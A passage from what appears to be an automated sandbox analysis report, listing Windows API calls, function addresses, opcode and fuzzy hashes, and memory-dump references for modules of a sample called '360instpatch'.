API String ID: 410705778-0
Opcode ID: c8ab1124e1554648788265017ea8c48bf8014bf9d5101ca3db4e73ffb1c849d0
Instruction ID: 55bc2913e5ee3476106a7eb35dfe0375db7a46136d7cc673efccac5ec20be7fe
Opcode Fuzzy Hash: c8ab1124e1554648788265017ea8c48bf8014bf9d5101ca3db4e73ffb1c849d0
Instruction Fuzzy Hash: A101F27AA407029FDB08CF69C841D57BBE5EF88320B11C0AAE909CB371D734D800CBA0

Function 6BF32675 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6BF321AC: socket.WS2_32(00000002,00000002,00000011), ref: 6BF321C3
Part of subcall function 6BF321AC: _memset.LIBCMT ref: 6BF321DB
Part of subcall function 6BF321AC: htonl.WS2_32(00000000), ref: 6BF321F2
Part of subcall function 6BF321AC: htons.WS2_32(?), ref: 6BF321FA
Part of subcall function 6BF321AC: htonl.WS2_32(0100007F), ref: 6BF32216
Part of subcall function 6BF321AC: bind.WS2_32(00000000,?,00000010), ref: 6BF32222

closesocket.WS2_32(?), ref: 6BF32693

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: htonl$_memsetbindclosesockethtonssocket
String ID:
API String ID: 95467627-0
Opcode ID: d4b70e1370926a96fde62358690c77967b84a15cada92baea3eda85b7d31622e
Instruction ID: 2fd5f05a7b245b7ba810d278ee4892fedb68b3cf12e2cc2dcbc3d91fe576b73e
Opcode Fuzzy Hash: d4b70e1370926a96fde62358690c77967b84a15cada92baea3eda85b7d31622e
Instruction Fuzzy Hash: E9F028638DD7E42AF73196744C2660B7E94DF03668B080AEAD062964A1E54F95C843E1

Function 6BF31CB9 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF331D5

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 4f0838c7f421b8b6c9ea3dabdd0dd994fa26370aea747a0e41250003eaf4a35e
Instruction ID: d5ab799c120e7777d22b0b9fbbd0b038a18a4250a10d5a77f6be0250deed3031
Opcode Fuzzy Hash: 4f0838c7f421b8b6c9ea3dabdd0dd994fa26370aea747a0e41250003eaf4a35e
Instruction Fuzzy Hash: 95016236A11119ABCB00DBA48801FFF77B9EF45714F10446AE901E7291DB789A1597E2

Function 6BF37B9F Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF37BBE

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: b2bc0367f4c3d1cd88daf1a0f2d87a481b833e268c4979d291cd1ae62c8cf177
Instruction ID: 35f116f5dae4b74dc883aedec70b51ed8d125215ef0ecadcdd7c88f5e34a6bd5
Opcode Fuzzy Hash: b2bc0367f4c3d1cd88daf1a0f2d87a481b833e268c4979d291cd1ae62c8cf177
Instruction Fuzzy Hash: 30F0A436A0120AABCB10DFA4C902FEFB7B9EF05610F00041AE901E7250D778EA1487E5

Function 6BEE8B0A Relevance: 1.5, APIs: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_String_base::_Xlen.LIBCPMT ref: 6BEE8B1A

Part of subcall function 6BF51FB5: __EH_prolog3.LIBCMT ref: 6BF51FBC
Part of subcall function 6BF51FB5: __CxxThrowException@8.LIBCMT ref: 6BF51FE7

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Exception@8H_prolog3String_base::_ThrowXlenstd::_
String ID:
API String ID: 1675473389-0
Opcode ID: e9131c7728ce30436ca99ece98399f72f173fd2ed61b558046b14b774d739e84
Instruction ID: ed2e13d1fa7eafa00f1206ba2f26462facc603a52564452422fbe2a71d43fcf1
Opcode Fuzzy Hash: e9131c7728ce30436ca99ece98399f72f173fd2ed61b558046b14b774d739e84
Instruction Fuzzy Hash: 65F0B476708D105ACA319A38C84196FA7B7DBD1B24F310E1FE452C3290EB6D98878173

Function 6BEE8AAC Relevance: 1.5, APIs: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_String_base::_Xlen.LIBCPMT ref: 6BEE8AB9

Part of subcall function 6BF51FB5: __EH_prolog3.LIBCMT ref: 6BF51FBC
Part of subcall function 6BF51FB5: __CxxThrowException@8.LIBCMT ref: 6BF51FE7

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Exception@8H_prolog3String_base::_ThrowXlenstd::_
String ID:
API String ID: 1675473389-0
Opcode ID: 833466893040a3ceda438ca67234314f77870c7b07240ae729a16707b9ff9a3a
Instruction ID: 5a7c245a66a924d6ecaf5de2295e6e981b30f3548173deea53dea1fa25958b80
Opcode Fuzzy Hash: 833466893040a3ceda438ca67234314f77870c7b07240ae729a16707b9ff9a3a
Instruction Fuzzy Hash: 85F0B4317486105AD6739538D85095FA6B69BD1B28F310F1EE45A832D0EBAC9C838177

Function 6BEF7D94 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BEF7DCA

Part of subcall function 6BF231EC: _memset.LIBCMT ref: 6BF23151
Part of subcall function 6BF231EC: RasEnumConnectionsW.RASAPI32(?,?,?), ref: 6BF2317C
Part of subcall function 6BF231EC: _memset.LIBCMT ref: 6BF2319B
Part of subcall function 6BF231EC: RasGetConnectStatusW.RASAPI32(?,?), ref: 6BF231B0

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memset$ConnectConnectionsEnumStatus
String ID:
API String ID: 3492228599-0
Opcode ID: 931d8525b8f15d2f42982349eb91f4e7300eb81fd2a69b13a22acb5b7dcaa49d
Instruction ID: 2c5803cf6936168a6dc8feea084437a7b1d8002a135f9e6b37950ed3987164ff
Opcode Fuzzy Hash: 931d8525b8f15d2f42982349eb91f4e7300eb81fd2a69b13a22acb5b7dcaa49d
Instruction Fuzzy Hash: 86F0BB73D00225B7DB51A6B9DC45BCB7BAC9F01754F508015E904D6250EB78D515CBE0

Function 6BEED8D3 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BEED902

Part of subcall function 6BF23CE4: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,0000083F,?,00000000,?,6BF23E87,?,?,0000083F), ref: 6BF23CFD

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ByteCharMultiWide_memset
String ID:
API String ID: 2800726579-0
Opcode ID: d077d558fe437657e38048e06ced351ef60927a87e3713324fa6c2ed5da8b75b
Instruction ID: e95ae062798a4c73d5db89b539183445137f2fcba2004145e98b9751baf7ee95
Opcode Fuzzy Hash: d077d558fe437657e38048e06ced351ef60927a87e3713324fa6c2ed5da8b75b
Instruction Fuzzy Hash: F2F068B6900119ABCB10DA64CD41FDEB7BCAB55618F4040A5E708B7191D778AB0A8BA8

Function 6CD5C24A Relevance: 1.5, APIs: 1, Instructions: 34threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD5C25C

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6e233b5500b566d631718aef6a3c4d92525cf147eff8aa721e62f75a1ee98b55
Instruction ID: 16f28bcad1511edec54d070b9749566d8eaaeb4df761fe40d0fa8585b644040c
Opcode Fuzzy Hash: 6e233b5500b566d631718aef6a3c4d92525cf147eff8aa721e62f75a1ee98b55
Instruction Fuzzy Hash: 28F05E71214600EFC6219B5AC804D97B7F8EBCA764B50892DE0AAC6920C271A491CF71

Function 00B52343 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00B5236A

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: ClientRect
String ID:
API String ID: 846599473-0
Opcode ID: 6f01cd3df9d5280426d03aaf5b48acaa1a8999422e2d68769bce4cf1917b8b45
Instruction ID: 5da8f8abb99d655d9ba31102fac6eaa68d8516783259a2d2b3d4ec62d70e9095
Opcode Fuzzy Hash: 6f01cd3df9d5280426d03aaf5b48acaa1a8999422e2d68769bce4cf1917b8b45
Instruction Fuzzy Hash: 20F0F972800209EFCB10DFADC844DAFFBFCFF95600F00449AA469E3211D670AA05CB50

Function 6CD34CBD Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000FC,?), ref: 6CD34CF0

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: d8130bc7d041360a135eb9da2728a957687330705f765912e3a53816a5683b4d
Instruction ID: a8186bc4d4ba04bdbf0dfd2acf98ac5cd039d8d529f6e71f4645a84f19b2bc39
Opcode Fuzzy Hash: d8130bc7d041360a135eb9da2728a957687330705f765912e3a53816a5683b4d
Instruction Fuzzy Hash: 58F0E233205220AFC2119F94AC44C4BBBBDEFC9610710890DF29687161C735D415CB70

Function 6BF2C7F0 Relevance: 1.5, APIs: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF38425: _malloc.LIBCMT ref: 6BF3843F

PostMessageW.USER32(6BFCC3F0,000004CB,00000000,00000001), ref: 6BF2C839

Part of subcall function 6BF2C522: _memset.LIBCMT ref: 6BF2C530

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: MessagePost_malloc_memset
String ID:
API String ID: 2839725968-0
Opcode ID: b5309616b383b84963536c368e7938f42449d018625aeb125d16911fac44188e
Instruction ID: eae0746cfb020af8f7fa6ca2f87a80c3b733dde956fa6a81312532db2a1dcb3c
Opcode Fuzzy Hash: b5309616b383b84963536c368e7938f42449d018625aeb125d16911fac44188e
Instruction Fuzzy Hash: 9DF090766043019FE748CF24D415956BBE1EF84310F11C86DE4458B3B0C775C801CB51

Function 00B28940 Relevance: 1.5, APIs: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNEL32(?,?,00000000,?,?,?,?,00000000,?), ref: 00B28967

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: de387e1a9b76c503ef195473d28bb00ff9fcc72693c340c3eb485e36427e7684
Instruction ID: f1938aae9a3fd8bca24496e07ddaecf44e46fe93cb680cae409f6853507bc7aa
Opcode Fuzzy Hash: de387e1a9b76c503ef195473d28bb00ff9fcc72693c340c3eb485e36427e7684
Instruction Fuzzy Hash: 41F0F47610121AEFDF058F80D805EEE7BA9EF48340F108059FD4196260DB76EA21DBA0

Function 6BF26BE8 Relevance: 1.5, APIs: 1, Instructions: 31registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,?,?,6BF05BD5,customproxytype,?,AA5945B3), ref: 6BF26C13

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 0a0362beda225489c956a59dbbf5920019ad639075da909a7550744edcc0818d
Instruction ID: c65b8b31f51562b20ad1f13434c9d3933f7a8a1129720062439fe18d24a94ff4
Opcode Fuzzy Hash: 0a0362beda225489c956a59dbbf5920019ad639075da909a7550744edcc0818d
Instruction Fuzzy Hash: BEF08CB3650208FBEB08EFA0C844FEA7FA8EB05349F008458BD06C6390E774E644CB60

Function 6BF2C72F Relevance: 1.5, APIs: 1, Instructions: 31windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF38425: _malloc.LIBCMT ref: 6BF3843F

PostMessageW.USER32(6BFCC3F0,000004CD,00000000,00000001), ref: 6BF2C776

Part of subcall function 6BF2C522: _memset.LIBCMT ref: 6BF2C530

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: MessagePost_malloc_memset
String ID:
API String ID: 2839725968-0
Opcode ID: 5c849ee0ddad446b8b8e67e92e332d48558a2655e2a973dfe33dfaae3d48a74d
Instruction ID: 22cd77eebb78138c608106bbeea8c74fe06ae1e4a5e990094318d21c70a765c9
Opcode Fuzzy Hash: 5c849ee0ddad446b8b8e67e92e332d48558a2655e2a973dfe33dfaae3d48a74d
Instruction Fuzzy Hash: 97F0E27AA003019FE7588F29D805E22FBF5EF84720B15C0AEE4488B3B1D77AD841CB50

Function 6CD3AE3F Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CD3AE46

Part of subcall function 6CD3AD48: _memset.LIBCMT ref: 6CD3AD6C
Part of subcall function 6CD3AD48: PathCombineW.SHLWAPI(?,?,Config\SafeIME.xml), ref: 6CD3AD82

Part of subcall function 6CD3A35F: _memset.LIBCMT ref: 6CD3A39B
Part of subcall function 6CD3A35F: GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 6CD3A3B2

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: _memset$CombineFileH_prolog3ModuleNamePath
String ID:
API String ID: 2129597180-0
Opcode ID: 10643cae8f95ccbbbcfc0abb36c60f3ca7b90d24693b7f0c86e2eb2d33635819
Instruction ID: bcd22ea01c1057f13f80f8f6923733cb183a090fcafa2c830b311c846ae45637
Opcode Fuzzy Hash: 10643cae8f95ccbbbcfc0abb36c60f3ca7b90d24693b7f0c86e2eb2d33635819
Instruction Fuzzy Hash: A4F01731B022258AEF11DB94C6047ADB2B4AB06709F50641C841DA6BF0DB78D948C766

Function 00B86A97 Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000002,?,00B48D5A,00000000,00000000,?,?,00B86931,?,0000011E,FFFFFEE2,00000002,?,00000000,00000000,00000748), ref: 00B86AC1

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 4803c07c07bcb5010e8916ec0f1cd118de5da866383105bead13d73b93b46656
Instruction ID: 5b171f8cc6c6706a846408e39127daaced399c86a6f56bf304e6bede33b92d13
Opcode Fuzzy Hash: 4803c07c07bcb5010e8916ec0f1cd118de5da866383105bead13d73b93b46656
Instruction Fuzzy Hash: 32E0ED31500118FB8F15EF75DA4199E7BE8EB15391F10C5A5B816E61A0E731DE10EB60

Function 00B7A29F Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

